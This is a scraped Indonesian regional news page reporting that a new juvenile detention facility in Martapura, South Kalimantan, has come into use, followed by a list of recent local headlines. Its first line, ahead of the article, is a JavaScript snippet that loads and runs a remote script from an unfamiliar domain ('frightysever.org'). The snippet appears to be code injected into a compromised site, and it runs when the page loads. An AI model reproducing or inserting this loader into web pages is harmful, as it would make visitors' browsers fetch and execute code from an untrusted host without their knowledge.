(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

LPKA Martapura Baru Mulai Dipakai, Berkonsep Asrama dengan Kelas Belajar Anak


BANJARMASIN, Kepala Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Kalimantan Selatan, Ferdinand Siagian didampingi Kepala Lembaga Pembinaan Khusus Anak (LPKA) Kelas I Martapura, Muhammad Latif Safiudin, Selasa (15/1) siang, meninjau langsung aktivitas para anak yang berhadapan dengan hukum (ABH) dan narapidana (Napi) dewasa yang mulai menempati bangunan baru di Sungai Sipai, Kecamatan Martapura, Kabupaten Banjar.

Dengan luas tanah kurang lebih 10.000 M2 dengan kapasitas 100 orang, bangunan baru LPKA sudah mulai digunakan. Kepala Kanwil Kemenkumham Kalsel, Ferdinand Siagian memonitor langsung proses pemindahan dan memastikan kondisi bangunan baru tersebut.

Ditempatinya gedung baru LPKA itu, tentunya harus lebih ditingkatkan kualitas pelayanan pembinaan bagi para ABH. Satker diharapkan segera menyampaikan rencana usulan kebutuhan sarana prasarana pendukung operasional gedung baru LPKA ke Kantor Wilayah.

“Karena saat ini sarana pendukung seperti kasur masih mengunakan yang lama, melubernya air, serta tempat jemuran pakaian yang belum rapi. Tentunya ke depan akan menjadi perhatian kita selaku supporting unit,” ungkap Ferdinand Siagian.

Berdasarkan smslap.ditjenpas.go.id, Selasa (15/01) sore, jumlah ABH dan narapidana/tahanan dewasa berjumlah sebanyak 113 orang, terdiri dari 53 orang dewasa dan 60 orang ABH yang saat ini sudah menempati gedung yang baru.

Sementara itu untuk Napi dewasa akan dipindahkan secara bertahap, tentunya dengan jumlah ABH sekitar 60 orang dengan kapasitas 100 orang.

Bangunan baru LPKA Kelas I Martapura ini dilengkapi dengan ruang belajar atau kelas serta tempat bermain anan. Selain itu juga kamar hunian sudah berkonsep asrama.

Sebagaimana secara yuridis undang-undang sistem peradilan anak telah merubah paradigma dalam penanganan yang berhadapan dengan hukum, dimana LPKA harus menyelengarakan pendidikan, pelatihan keterampilan, pembinaan, dan pemenuhan hak lain sesuai dengan ketentuan. (mario)

Reporter:Mario
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

30 menit ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

37 menit ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

3 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

5 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

7 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

8 jam ago

This website uses cookies.